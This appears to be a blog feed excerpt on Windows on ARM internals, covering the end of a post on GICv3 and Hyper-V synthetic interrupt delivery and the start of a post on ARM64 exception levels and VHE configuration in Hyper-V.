0x140228c48   sub_140228A30   MSR c12 #4   MSR ICH_LR14_EL2, X8
0x140228c58   sub_140228A30   MSR c12 #4   MSR ICH_LR13_EL2, X8
0x140228c68   sub_140228A30   MSR c12 #4   MSR ICH_LR12_EL2, X8
0x140228c78   sub_140228A30   MSR c12 #4   MSR ICH_LR11_EL2, X8
0x140228c88   sub_140228A30   MSR c12 #4   MSR ICH_LR10_EL2, X8
0x140228c98   sub_140228A30   MSR c12 #4   MSR ICH_LR9_EL2, X8
0x140228ca8   sub_140228A30   MSR c12 #4   MSR ICH_LR8_EL2, X8
0x140228cb8   sub_140228A30   MSR c12 #4   MSR ICH_LR7_EL2, X8
0x140228cc8   sub_140228A30   MSR c12 #4   MSR ICH_LR6_EL2, X8
0x140228cd8   sub_140228A30   MSR c12 #4   MSR ICH_LR5_EL2, X8
0x140228ce8   sub_140228A30   MSR c12 #4   MSR ICH_LR4_EL2, X8
0x140228cf8   sub_140228A30   MSR c12 #4   MSR ICH_LR3_EL2, X8
0x140228fe4   sub_140228F78   MSR c12 #4   MSR ICH_LR1_EL2, X8
</code></pre></div></div>

<p>This register includes important information - such as the virtual interrupt ID (vINTID), interrupt priority, etc. When the hypervisor writes to the target register, the virtual interrupt is injected into the guest. ARM’s documentation provides a nice visual here.</p>

<p><img src="/images/arminterrupt-49.png" alt="" /></p>

<p>So we now have the actual underlying mechanism as to how the hypervisor is able to, using the provided CPU registers and hardware functionality exposed by GICv3, deliver a virtual interrupt to a target virtual CPU. However, Hyper-V now has an additional level of abstraction - using the “synthetic interrupt controller” - in order to deliver interrupts to synthetic devices (like virtualized keyboards, mice, etc.). The synthetic interrupt controller delivers two types of interrupts to virtual CPUs: those which come from hardware/devices (external) and also synthetic interrupts (which come from Hyper-V and are <em>not</em> generated by hardware).</p>

<p>The TLFS defines the “synthetic” interrupt controller as a set of <em>extensions</em> that are provided in addition to the already-existing interrupt controller features. The synthetic interrupt controller is leveraged by Hyper-V to not only deliver interrupts generated from physical hardware, to the guest (or root partition, which is the host OS), but to also add an additional level of abstraction over various message channels (defined by the TLFS) for other special kinds of interrupts to be delivered, such as the hypervisor directly delivering a message to a target partition (in the case of an intercept, for example) or inner-partition communication. Some of these message types can be seen below:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">enum</span>
<span class="p">{</span>
   <span class="n">HvMessageTypeNone</span> <span class="o">=</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="c1">// Memory access messages</span>
   <span class="n">HvMessageTypeUnmappedGpa</span> <span class="o">=</span> <span class="mh">0x80000000</span><span class="p">,</span>
   <span class="n">HvMessageTypeGpaIntercept</span> <span class="o">=</span> <span class="mh">0x80000001</span><span class="p">,</span> <span class="c1">// Timer notifications</span>
   <span class="n">HvMessageTimerExpired</span> <span class="o">=</span> <span class="mh">0x80000010</span><span class="p">,</span> <span class="c1">// Error messages</span>
   <span class="n">HvMessageTypeInvalidVpRegisterValue</span> <span class="o">=</span> <span class="mh">0x80000020</span><span class="p">,</span>
   <span class="n">HvMessageTypeUnrecoverableException</span> <span class="o">=</span> <span class="mh">0x80000021</span><span class="p">,</span>
   <span class="n">HvMessageTypeUnsupportedFeature</span> <span class="o">=</span> <span class="mh">0x80000022</span><span class="p">,</span>
   <span class="n">HvMessageTypeTlbPageSizeMismatch</span> <span class="o">=</span> <span class="mh">0x80000023</span><span class="p">,</span> <span class="c1">// Trace buffer messages</span>
   <span class="n">HvMessageTypeEventLogBuffersComplete</span> <span class="o">=</span> <span class="mh">0x80000040</span><span class="p">,</span> <span class="c1">// Hypercall intercept.</span>
   <span class="n">HvMessageTypeHypercallIntercept</span> <span class="o">=</span> <span class="mh">0x80000050</span><span class="p">,</span> <span class="c1">// Platform-specific processor intercept messages</span>
   <span class="n">HvMessageTypeX64IoPortIntercept</span> <span class="o">=</span> <span class="mh">0x80010000</span><span class="p">,</span>
   <span class="n">HvMessageTypeMsrIntercept</span> <span class="o">=</span> <span class="mh">0x80010001</span><span class="p">,</span>
   <span class="n">HvMessageTypeX64CpuidIntercept</span> <span class="o">=</span> <span class="mh">0x80010002</span><span class="p">,</span>
   <span class="n">HvMessageTypeExceptionIntercept</span> <span class="o">=</span> <span class="mh">0x80010003</span><span class="p">,</span>
   <span class="n">HvMessageTypeX64ApicEoi</span> <span class="o">=</span> <span class="mh">0x80010004</span><span class="p">,</span>
   <span class="n">HvMessageTypeX64LegacyFpError</span> <span class="o">=</span> <span class="mh">0x80010005</span><span class="p">,</span>
   <span class="n">HvMessageTypeRegisterIntercept</span> <span class="o">=</span> <span class="mh">0x80010006</span><span class="p">,</span>
<span class="p">}</span> <span class="n">HV_MESSAGE_TYPE</span><span class="p">;</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">nt!HalpInterruptSintService</code> is actually the interrupt handler for handling synthetic interrupt controller-delivered interrupts (messages and/or interrupts targeting synthetic devices, which means for guests this is the primary ISR that is ever invoked). This can be seen by the result of a call to <code class="language-plaintext highlighter-rouge">nt!HalpIsSynicAvailable</code> - which enlightens the guest/root partition as to the presence of the synthetic controller. If it is present, the <code class="language-plaintext highlighter-rouge">nt!HalpInterruptSintService</code> routine is registered with a vector value of <code class="language-plaintext highlighter-rouge">0x30X</code> - which means that the target IRQL is that of <code class="language-plaintext highlighter-rouge">3</code> and also that interrupt lines (INTIDs) <code class="language-plaintext highlighter-rouge">1</code>, <code class="language-plaintext highlighter-rouge">2</code>, <code class="language-plaintext highlighter-rouge">3</code>, and <code class="language-plaintext highlighter-rouge">4</code> are all considered virtual interrupts because they are handled by the virtual interrupt handler. This means the hypervisor is responsible for forwarding (injecting) these interrupts to the guest. The hypervisor always receives the interrupt, and can forward it to the guest (or root partition in our case) if it is necessary (not all physical interrupt lines are associated with virtual interrupts, and not all physical devices may have an associated synthetic/virtualized device)</p>

<p><img src="/images/arminterrupt-48.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">nt!HalpInterruptSintService</code> then goes on to invoke <code class="language-plaintext highlighter-rouge">nt!HvlpSintInterruptRoutine</code>. This routine is responsible for using the vector value (subtracting <code class="language-plaintext highlighter-rouge">768</code> is subtracting <code class="language-plaintext highlighter-rouge">0x300</code>, which removes the IRQL masked to the vector, of 3, from the operation) to index the <code class="language-plaintext highlighter-rouge">nt!HvlpInterruptCallback</code> table. Note that the <code class="language-plaintext highlighter-rouge">NtNpLeafDelete</code> is a side effect of symbol collision. For functions with identical code, the symbols get mashed into one single symbol. These two functions are simply <code class="language-plaintext highlighter-rouge">ret</code> NO-OP operations.</p>

<p><img src="/images/arminterrupt-50.png" alt="" /></p>

<p>There are 5 total valid entries here (because as we saw earlier, vector values <code class="language-plaintext highlighter-rouge">0x300</code> through <code class="language-plaintext highlighter-rouge">0x304</code> use this service routine, so the valid indexes are 0 - 4 - a total of 5). Even <em>Windows Internals, 7th Edition, Part 2</em> calls out that “vectors <code class="language-plaintext highlighter-rouge">30</code> - <code class="language-plaintext highlighter-rouge">34</code> are always used for Hyper-V related [VMBus] interrupts”. <em>Technically</em> index <code class="language-plaintext highlighter-rouge">0</code> (<code class="language-plaintext highlighter-rouge">0x300</code>) is used for hypervisor interrupts, and indexes <code class="language-plaintext highlighter-rouge">1</code> - <code class="language-plaintext highlighter-rouge">4</code> are used for <a href="https://www.kernel.org/doc/html/v6.13/virt/hyperv/vmbus.html">VMBus</a> interrupts. One thing that is important to note - if an interrupt is to arrive to a guest, it always first goes to the root partition. If the guest partition then needs the interrupt (for instance, if it has a synthetic device that is emulating the real physical devices, like a keyboard) the root partition will then assert an interrupt to the guest using the VMBus protocol (used for inner-partition communication). This is also why we see such a disparity in IDTs between root partitions (the host OS) and the guest OS where we are doing our dynamic analysis.</p>

<blockquote>
  <p>Note that the below tables differ based on if the target OS is the root or guest partition.</p>
</blockquote>

<p><img src="/images/arminterrupt-51.png" alt="" /></p>

<p>So how do child partitions, for example, receive interrupts from the root partition in order to send them to the target handler? <code class="language-plaintext highlighter-rouge">vmbus!XPartEnlightenedIsr</code> is the main target here. As <a href="https://hvinternals.blogspot.com/2015/10/hyper-v-internals.html">other researchers have mentioned</a> these functions possess the functionality necessary to pass the virtual interrupt to the appropriate handlers. <code class="language-plaintext highlighter-rouge">vmbus!XPartEnlightenedIsr</code> simply queues a DPC with the target routine being that of <code class="language-plaintext highlighter-rouge">vmbus!ChildInterruptDpc</code>. This function eventually invokes <code class="language-plaintext highlighter-rouge">vmbus!XPartReceiveInterrupt</code> - to receive the interrupt from the root partition (or hypervisor). This invokes the lower-level function, <code class="language-plaintext highlighter-rouge">vmbus!ChReceiveChannelInterrupt</code> which then invokes the true ISR - <code class="language-plaintext highlighter-rouge">vmbkmcl!KmclpVmbusIsr</code> (or <code class="language-plaintext highlighter-rouge">vmbkmcl!KmclpVmbusManualIsr</code>).</p>

<p><img src="/images/arminterrupt-52.png" alt="" /></p>

<p>This ISR is responsible for eventually determining how to handle the interrupt from Hyper-V, by parsing the message protocol. Eventually the <code class="language-plaintext highlighter-rouge">vmbkmcl.sys</code> driver (the VMBus common library driver) is invoked. This driver handles the majority of the parsing and results in the target operation occuring. In this example, the guest receives an interrupt, from the hypervisor, which results in a call to <code class="language-plaintext highlighter-rouge">vmbkcml!InpFillAndProcessQueue</code> - which is responsible for eventually dispatching the target. In this case, the <em>synthetic</em> SCSI driver (<code class="language-plaintext highlighter-rouge">storvsc.sys</code>). This request is then forwarded on to the VM’s <code class="language-plaintext highlighter-rouge">storport.sys</code> driver - which indicates that the interrupt was sent to this guest in order to <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/storport/nf-storport-storportnotification">notify</a> the Store Port driver about a request which was completed (<code class="language-plaintext highlighter-rouge">RequestDirectComplete</code>). This particular request ended up invoking <code class="language-plaintext highlighter-rouge">storport!RaidAdapterRequestDirectComplete</code>, passing in the associated <code class="language-plaintext highlighter-rouge">RAID_ADAPTER_EXTENSION</code> structure provided from the notification request. In conclusion, this is how the guest partition fulfills a particular request at the synthetic device level, upon request from the root partition or hypervisor as a result of some physical device interrupt.</p>

<p><img src="/images/arminterrupt-52a.png" alt="" /></p>

<h2 id="vtls-secure-kernel-interrupts-and-secure-interrupts">VTLs, Secure Kernel Interrupts, and Secure Interrupts</h2>
<p>This section is not specific to ARM64 - and thus it will just be short, as it is for completeness sake. However, it is worth talking about because interrupt handling in the Secure Kernel is completely different than x64 (in fact, almost all of the functions related to interrupts do not exist in x64 as they do on ARM, and vice-versa). The <a href="https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/vsm">TLFS</a> defines that each VTL has its own virtual interrupt controller (in our case, this means the Secure Kernel in VTL 1 has its own virtual GIC to interface with, that Hyper-V configures, which is separate from the root partition’s virtual GIC in VTL 0). The Secure Kernel has a very similar function to NT, <code class="language-plaintext highlighter-rouge">securekernel!SkiGicInitialize</code>. Additionally, <code class="language-plaintext highlighter-rouge">securekernel!SkiGicData</code> effectivel mimics <code class="language-plaintext highlighter-rouge">nt!HalpGic3</code> in NT. The main functionality in the Secure Kernel is <code class="language-plaintext highlighter-rouge">securekernel!SkiRunIsr</code>. This function invokes the appopriate function in the <code class="language-plaintext highlighter-rouge">securekernel!SkeInterruptCallback</code> table.</p>

<p><img src="/images/arminterrupt-54.png" alt="" /></p>

<p>Although the Secure Kernel does not accept any kind of file I/O, etc. - it still needs the ability to handle interrupts due to something known as <em>secure interrupts</em> and <em>secure intercepts</em>. Secure interrupts are interrupts that are trapped into VTL 1 as a result of some action in VTL 0 (thanks to the hypervisor). On ARM64 systems, the Secure Kernel is responsible for registering with the synthetic interrupt controller (<code class="language-plaintext highlighter-rouge">securekernel!ShvlpInitializeSynic</code>). This allows the Secure Kernel to receive a synthetic interrupt as a result of an intercept, for example. A great example of this is <a href="https://windows-internals.com/hyperguard-secure-kernel-patch-guard-part-1-skpg-initialization/">HyperGuard</a>. How does this work? On the latest insider preview build of Windows, the <code class="language-plaintext highlighter-rouge">SkeInterruptCallback</code> (notice the similarity to the synthetic handler routine from NT we previously-showed, <code class="language-plaintext highlighter-rouge">nt!HvlpSintInterruptRoutine</code>, and the current one. Both are synthetic interrupt handlers) table is as follows:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">ShvlpVinaHandler</code></li>
  <li><code class="language-plaintext highlighter-rouge">ShvlpTimerHandler</code></li>
  <li><code class="language-plaintext highlighter-rouge">ShvlpInterceptHandler</code> -&gt; The secure intercept handler</li>
  <li><code class="language-plaintext highlighter-rouge">SkiHandleFreezeIpi</code></li>
  <li><code class="language-plaintext highlighter-rouge">SkiHandleCallback</code></li>
  <li><code class="language-plaintext highlighter-rouge">SkiHandleIpi</code></li>
</ol>

<p>In our case, the “secure interrupt” handler we care about is the <code class="language-plaintext highlighter-rouge">ShvlpInterceptHandler.</code> As Yarden calls out in her blog, the intercept functionality registers with Hyper-V a list of actions to intercept. For example, certain writes or accesses to ARM64 system registers will result in Hyper-V injecting a synthetic interrupt into the Secure Kernel, allowing the Secure Kernel to examine such an operation inline of it occuring and preventing (causing a crash via <code class="language-plaintext highlighter-rouge">ShvlRaiseSecureFault</code>, for example) or letting the action occur. Additionally, even other items like hyper calls can be intercepted. This is the basis for HyperGuard, for example.</p>

<h2 id="windows-on-arm-interrupts---windbg">Windows on ARM Interrupts - WinDbg</h2>
<p>Before ending this blog post, I thought it might be prudent to just outline some nuances with WinDbg at the time of this writing. Some commands, like <code class="language-plaintext highlighter-rouge">!idt</code>, just simply do not work on WinDbg because of the differences in interrupt handling. However, I wanted to call out a few useful commands I found that are specific to ARM:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">!gicc</code> -&gt; GIC CPU interface analysis</li>
  <li><code class="language-plaintext highlighter-rouge">!gicd</code> -&gt; GIC distributor analysis</li>
  <li><code class="language-plaintext highlighter-rouge">!gicr</code> -&gt; GIC redistributor analysis</li>
</ul>

<h2 id="conclusion">Conclusion</h2>
<p>I hope you enjoyed this blog post! I enjoyed writing it!</p>

<h2 id="resources">Resources</h2>
<ul>
  <li>Matt Suiche blog: https://www.msuiche.com/posts/smbaloo-building-a-rce-exploit-for-windows-arm64-smbghost-edition/</li>
  <li>UEFI spec: https://uefi.org/sites/default/files/resources/ACPI_Spec_6.6.pdf</li>
  <li>Microsoft: https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/acpi-system-description-tables</li>
  <li>Code Machine: https://codemachine.com/articles/arm_assembler_primer.html</li>
  <li>BSOD Tutorials: https://bsodtutorials.wordpress.com/2020/01/09/hardware-interrupts-irqs-and-irqls-part-1/</li>
  <li>ARM GIC Specification: https://developer.arm.com/documentation/ihi0069/hb/?lang=en</li>
  <li>Hyper-V internals: https://hvinternals.blogspot.com/2015/10/hyper-v-internals.html</li>
</ul>]]></content><author><name>Connor McGarr</name></author><category term="posts" /><summary type="html"><![CDATA[Interrupt discovery and delivery on Windows on ARM]]></summary></entry><entry><title type="html">Windows ARM64 Internals: Exception &amp;amp; Privilege Model, Virtual Memory Management, and Windows under Virtualization Host Extensions (VHE)</title><link href="/arm64-windows-internals-basics/" rel="alternate" type="text/html" title="Windows ARM64 Internals: Exception &amp;amp; Privilege Model, Virtual Memory Management, and Windows under Virtualization Host Extensions (VHE)" /><published>2025-10-27T00:00:00+00:00</published><updated>2025-10-27T00:00:00+00:00</updated><id>/arm64-windows-internals-basics</id><content type="html" xml:base="/arm64-windows-internals-basics/"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>About 5 years ago I put out a <a href="https://connormcgarr.github.io/paging/">blog post</a> about 64-bit “memory paging” on a standard Intel x64-based Windows machine when I was first starting to learn about Windows internals. Looking back at this post, as I was getting started learning Windows internals, I felt I left a lot to be desired - and I wanted to do something about it without re-inventing the wheel.</p>

<p>It is really “unsaid” these days that any sort of Windows analysis, <em>de-facto</em>, infers you are operating on an x64 machine - usually an Intel-based one. There is very little “out there” about Windows internals on ARM64. Given this fact, I thought it would be interesting to do a similar post with all of the “Windows-isms” that come along with the ARM64 architecture - specifically on the new Surface Pro with the Qualcomm Snapdragon X Elite processor. This would allow me to talk about things I did not get to at the time of my Intel-based blog, without regurgitating already existing information. Specifically this blog post will go over:</p>

<ol>
  <li>Exception and privilege levels (ARM64 “version” of “rings” on x86 processors)</li>
  <li>Windows hypervisor behavior (and, therefore, also OS behavior due to VBS) under ARM’s Virtualization Host Extensions (VHE)</li>
  <li>Using WinDbg to access ARM system registers using the <code class="language-plaintext highlighter-rouge">rdmsr</code> command (yes, you read that right! Using the “read MSR” command!)</li>
  <li>TrustedZone and Windows VTL co-habitation</li>
  <li>Windows-specific implementation of virtual memory: paging hierarchy, address translation, etc.</li>
  <li>ARM-specific PTE configuration on Windows (e.g., <code class="language-plaintext highlighter-rouge">nt!MMPTE_HARDWARE</code> differences between x64 and ARM64)</li>
  <li>Self-referential paging entries (like self-reference PML4, but for ARM’s “level 0” page table) and management of PTEs in virtual memory</li>
  <li>Translation Lookaside Buffer (TLB) and context switching</li>
  <li>Other “Windows-isms” such as Windows configuration of certain features, like hypervisor behavior, virtual memory behavior, etc.</li>
</ol>

<p>This blog post was conducted on a processor which “runs” the ARM v9 “A-profile” architecture, along with an installation of Windows 11 24H2. This blog post assumes readers are already familiar with concepts such as “virtual” and “physical” memory. Additionally, this will not be an “ARM history” blog post, we will be picking right up with the ARM v9 (specifically ARM  v9-A) architecture.</p>

<p>Lastly, this post will <em>not</em> include things like interrupt handling, exception dispatching, or system call handling mechanics. I hope to do a post specific to these soon.</p>

<h2 id="exceptionprivilege-model">Exception/Privilege Model</h2>
<p>ARM, unlike Intel, does not leverage what is know as the traditional “privilege” levels (e.g., PL 3, for user-mode, and PL 0, for kernel-mode). These are often referred to as “rings”. ARM instead refers to a processor that is “running” at a particular <em>exception</em> level (which is also responsible for enforcing privileges similar to “ring levels”). This is because ARM64 uses an exception-based architecture. What I mean by this is effectively “everything” is an exception; from special instructions like <code class="language-plaintext highlighter-rouge">svc</code> (which is referred to as a “supervisor call” and is the ARM64 version of a system call) which simply induces a particular type of exception; all the way to an interrupt (yes an interrupt is considered an exception on ARM!). This is because ARM refers to an exception as “any condition that requires the core to halt normal execution and execute a dedicated software routine”.</p>

<p>The ARM architecture sees that software stores a vector of exception handlers in the <code class="language-plaintext highlighter-rouge">VBAR_ELX</code> system register (similar to a control register or also an MSR on x86), with <code class="language-plaintext highlighter-rouge">X</code> denoting the exception level. For example, all of the exception handlers for the processor running at exception level <code class="language-plaintext highlighter-rouge">1</code> (effectively “kernel mode”) are stored in the <code class="language-plaintext highlighter-rouge">VBAR_EL1</code> system register. On Windows, the vector for the exception handlers - tracked through the symbol <code class="language-plaintext highlighter-rouge">nt!KiArm64ExceptionVectors</code> - is stored in this system register. A few of them can be seen below, such as the user exception handler, the interrupt handler, and fast interrupt request handler (FIQ).</p>

<p><img src="/images/arm64paging-1.png" alt="" /></p>

<p>ARM currently defines 4 main exception levels - exception level (EL)3 - EL0. For ARM the terminology is <em>inverse</em> to that of Intel. The lower the number, the less privileges. For example, EL0 refers to “user-mode”. What is particularly interesting about ARM is that, unlike Intel - which really only uses privilege level 0 for kernel-mode and privilege level 3 for user-mode - all of the exception levels have a documented purpose (although they do not have to be used for their documented purpose). This even includes the hypervisor! The hypervisor, on Intel-based systems, is often (mistakenly) referred to as “ring  minus 1”, or “ring -1”. There is no architectural support for a “ring -1” on Intel systems - the hypervisor simply runs at ring 0, but in a different <em>mode</em> (VMX root). However, on ARM-based systems “exception level” 2 is documented as reserved for the hypervisor.</p>

<p>The exception level, just like “ring levels”, gives credence to what types of privileged actions are allowed. Just as in the case of Model-Specific Registers (MSRs) on x86-based processors, many system registers are only accessible at certain exception levels (although, not <em>all</em> of them are only accessible at a “higher-privileged” EL. For example, some EL1 system registers can still be “accessed” by EL0. Additionally, some EL2 registers can be accessed from EL1, although the operations may be trapped to the hypervisor in EL2). In addition, certain memory regions are only accessible at certain exception levels.</p>

<p>The “current exception level” is stored in the <code class="language-plaintext highlighter-rouge">CurrentEL</code> <a href="https://developer.arm.com/documentation/ddi0601/2025-09/AArch64-Registers/CurrentEL--Current-Exception-Level">system register</a>. This can be examined with WinDbg, although WinDbg has an odd way of fetching the value of the system register. Through trial-and-error it was discovered it is possible to read ARM system registers using the <code class="language-plaintext highlighter-rouge">rdmsr</code> command in WinDbg and passing in the documented <em>encoding</em> values found in the ARM documentation - encodings are similar to an “MSR address/identifier”. In this case, the encoding for the <code class="language-plaintext highlighter-rouge">CurrentEL</code> register is:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">0b11</code> (3)</li>
  <li><code class="language-plaintext highlighter-rouge">0b000</code> (0)</li>
  <li><code class="language-plaintext highlighter-rouge">0b0100</code> (4)</li>
  <li><code class="language-plaintext highlighter-rouge">0b0010</code> (2)</li>
  <li><code class="language-plaintext highlighter-rouge">0b010</code> (2)</li>
</ul>

<p>This gives us a total value of  total value of <code class="language-plaintext highlighter-rouge">30422</code>. Passing this as a constant hex value (<code class="language-plaintext highlighter-rouge">0x30422</code>) to the <code class="language-plaintext highlighter-rouge">rdmsr</code> command allows reading the target system register.</p>

<p>The <code class="language-plaintext highlighter-rouge">CurrentEL</code> registers documents that bits <code class="language-plaintext highlighter-rouge">0</code> and <code class="language-plaintext highlighter-rouge">1</code> are “reserved” bits (so the “current EL” starts, technically, at bit <code class="language-plaintext highlighter-rouge">2</code> and goes through bit <code class="language-plaintext highlighter-rouge">3</code>). In our example, the current EL is <code class="language-plaintext highlighter-rouge">0b01</code> (disregarding bits <code class="language-plaintext highlighter-rouge">0</code> and <code class="language-plaintext highlighter-rouge">1</code>) for both a local kernel debugger (execution in kernel-mode) <em>and</em> while in user-mode (more on this in a few paragraphs).</p>

<p><img src="/images/arm64paging-2.png" alt="" /></p>

<p><img src="/images/arm64paging-2a.png" alt="" /></p>

<p>The exception level, when execution is in kernel-mode, is that of <code class="language-plaintext highlighter-rouge">0b01</code> - or EL1. This makes sense as ARM documents that the privileged part of the operating system (e.g., the kernel) runs in EL1. We should, however, bear in mind that modern Windows installations (even on ARM64) are virtualized - and there is “more than what meets the eye” because of this. This means it is worth briefly talking about the hypervisor/OS design on ARM64 Windows systems.</p>

<h2 id="windows-and-virtualization-host-extensions-vhe">Windows and Virtualization Host Extensions (VHE)</h2>
<p>Newer ARM processors (starting with ARMv8.1-A and higher) have support for VHE, or “Virtualization Host Extensions” - which is a feature that extends what capabilities are afforded to exception level 2 (EL2) - which is where the hypervisor runs.</p>

<p>VHE, which seems to have been developed with Linux and type-2 hypervisors in mind, specifically allows one to <em>optionally</em> run an entire host operating system in EL2. This means both the hypervisor and guest OS are in the same exception level. The reason why one would want to do this makes a lot of sense. A type-2 hypervisor, without VHE, typically would run in EL1 as a kernel software package. Since EL2 is “for the hypervisor” this means that there is a constant switching between EL1 and EL2 in order to preserve system register state across VMs entering/exiting, caches constantly being flushed - and other items not mentioned here - resulting in more performance degredation. Placing the host OS and the hypervisor in the same exception level results in <em>far</em> fewer guest &lt;-&gt; hypervisor context switches. In addition, there are other gains to be had.</p>

<p>“Pre-VHE” EL2 only had 1 page table base register, limiting the amount of address space EL2 can use and making it almost impossible to put a host OS, which is what VHE does, in EL2 since a host OS needs to also typically run user-mode applications in addition to a kernel. We will talk more about this later, but the page tables are “split” between kernel/user page table roots - meaning “pre-VHE” EL2 can only address <em>half</em> of what EL1 is capable of doing (and meaning that there is not enough “room” to host all of the user-mode things an OS needs to support). VHE, on the other hand, <em>extends</em> the number of page table root registers to 2 for EL2 - effectively giving EL2 and almost identical paging nomenclature to EL1 - and allowing both user-mode and kernel-mode to both be addressable “in the same way”. Lastly, a nice feature called “system register redirection” is present via VHE, which does the following:</p>

<ol>
  <li>The “real” contents of the EL1 registers (e.g., the EL1 registers used by anything actually running in EL1) can be found via a new set of “aliasesed” registers appended with <code class="language-plaintext highlighter-rouge">EL12</code> and <code class="language-plaintext highlighter-rouge">EL02</code> <em>from</em> EL2 itself. This allows EL2 <em>direct</em> access to EL1 system register contents without needing to preserve them/re-populate them across context switches.</li>
  <li>Most accesses to <code class="language-plaintext highlighter-rouge">EL1</code> registers (meaning not using the <code class="language-plaintext highlighter-rouge">EL12</code> registers, but the “literal architectural” EL1 registers) transparently redirect to their EL2 variants. This is a product of VHE being designed in a way that does not require many changes to an operating system that previously ran in EL1 (accessing EL1 registers) which will now run in EL2 via VHE. Remember - if you are a host OS kernel you are usually in EL1 (without VHE). If you put that kernel in EL2, you would need to re-write all of your system register access code to update EL1 accesses to EL2. System register redirection avoids this, allowing software to still access EL1, in EL2, and “magically” have the hardware access what you <em>intend</em> to access - which is EL2 (since the software is now running in EL2). This also means, for example, that if you parse Hyper-V for accesses to the EL2 page table root system registers - you will never find such an operation. Instead you will only see accesses to <code class="language-plaintext highlighter-rouge">TTBRX_EL1</code> which is then <em>redirected</em> to the “EL2 equivalent” in hardware (e.g., <code class="language-plaintext highlighter-rouge">TTBRX_EL2</code>). With <code class="language-plaintext highlighter-rouge">HCR_EL2.E2H</code> (VHE) set, EL1 accesses (actual EL1 registers, not the EL12 and EL02 registers) are redirected to EL2 equivalents.</li>
</ol>

<p>As mentioned, VHE really has type-2 hypervisors in mind - meaning that, on purpose, EL1 is left void of all software <em>except</em> the kernel of a guest, which runs in EL1. Below is a helpful chart produced by ARM to outline this setup. <code class="language-plaintext highlighter-rouge">E2H</code> and <code class="language-plaintext highlighter-rouge">TGE</code> (traps <em>all</em> exceptions from EL0 to EL2 since the host would now be running in EL2 instead of EL1 and, as a result, things like system calls need to go from EL0 to EL2 now instead of EL1) define the behavior here. The “gist” is that EL1 is for the guest kernel to run, not the “host kernel”.</p>

<p><img src="/images/arm64paging-3a.png" alt="" /></p>

<p>Windows, however, breaks this mold. Although VHE is configured in Hyper-V, Windows <em>still uses</em> EL1 for the actual operating system/NT kernel by design. This means that <em>both</em> guest kernels (VMs) and the NT kernel run in EL1. This is because, again, we are running under VBS. With the hypervisor enabled NT lives in the <em>root partition</em> (with actual VMs being in child partitions). In this case both root partition <em>and</em> guest partition are treated as “guests” in the sense that both have memory access gated via SLAT (“stage 2 tables” on ARM) - although pages in the root partition are simply <em>identity-mapped</em>. I have talked about the configuration of the root partition and identity-mapped pages <a href="https://connormcgarr.github.io/hvci/">in a previous blog</a> on HVCI. EL1 is for both the root partition (NT kernel) and child partitions(s) (VMs), with the hypervisor not making a “distinction” between them when allowing a “guest” to run in EL1.</p>

<p>This, however, is still not the main/actual reason why VHE is configured on Windows systems. Although Windows/Hyper-V configures VHE - it is obviously not to gain the “benefit” of having the host OS also run at EL2 (because, as we have seen, it doesn’t). The main reason VHE is configured for Windows is to instead to allow software running in EL2 to <em>gain</em> the benefit of the software “behaving” as if it were running in EL1. EL2, as an example, has a different “page table schema” than EL1 without VHE enabled (and, therefore, can only address <em>half</em> the memory as EL1 can). With VHE, however, <em>two</em> roots are in place (<code class="language-plaintext highlighter-rouge">TTBR0_EL2</code> and <code class="language-plaintext highlighter-rouge">TTBR1_EL2</code>). Other benefits include system register redirection and maintaining a firm boundary between the kernel (EL1) and hypervisor (EL2). Effectively, EL2 makes software in EL2 “behave” more like software that runs in EL1 - by affording it all of the benefits (and more) that I just mentioned. To examine this further, we can look at Hyper-V in more detail.</p>

<p>Hyper-V is responsible for configuring the hypervisor settings for the ARM machine (although <code class="language-plaintext highlighter-rouge">winload.efi</code> performs some configuration as well). Taking a look at the ARM64-based Hyper-V binary (<code class="language-plaintext highlighter-rouge">hvaa64.exe</code>) we can see that the hypervisor configuration register, <code class="language-plaintext highlighter-rouge">HCR_EL2</code>, has a hardcoded configuration mask of <code class="language-plaintext highlighter-rouge">0x400000018</code> when Hyper-V begins (although the configuration can be updated). The upper nibble (4) in this case corresponds to bit <code class="language-plaintext highlighter-rouge">34</code>. In the <code class="language-plaintext highlighter-rouge">HCR_EL2</code> hypervisor configuration system register <a href="https://developer.arm.com/documentation/ddi0601/2025-09/AArch64-Registers/HCR-EL2--Hypervisor-Configuration-Register">documentation</a> this corresponds to <code class="language-plaintext highlighter-rouge">E2H</code> feature. <code class="language-plaintext highlighter-rouge">E2H</code> stands for “exception level 2 host”. This means that if the bit is set (<code class="language-plaintext highlighter-rouge">HCR_EL2.E2H</code>) there is support for VHE. Notice, additionally, <code class="language-plaintext highlighter-rouge">HCR_EL2.TGE</code> is <em>not</em> set. This would be necessary if, for instance, the host OS ran in EL2 - as exceptions would then need to be trapped into EL2. They do not, under Windows, because EL0 (user-mode) &lt;-&gt; EL1 (kernel-mode) is still valid. Almost all exceptions (<code class="language-plaintext highlighter-rouge">svc</code> instruction, etc.) are trapped into EL1 from EL0. We <em>don’t</em> want to trap EL0 into EL2, as for one the NT kernel runs in EL1, but we dont want to enter the hypervisor so often.</p>

<p><img src="/images/arm64paging-3.png" alt="" /></p>

<p>To reiterate: with VBS and Hyper-V enabled and <code class="language-plaintext highlighter-rouge">HCR_EL2.E2H</code> (VHE) enabled the host OS and NT kernel <em>still</em> run in EL1.</p>

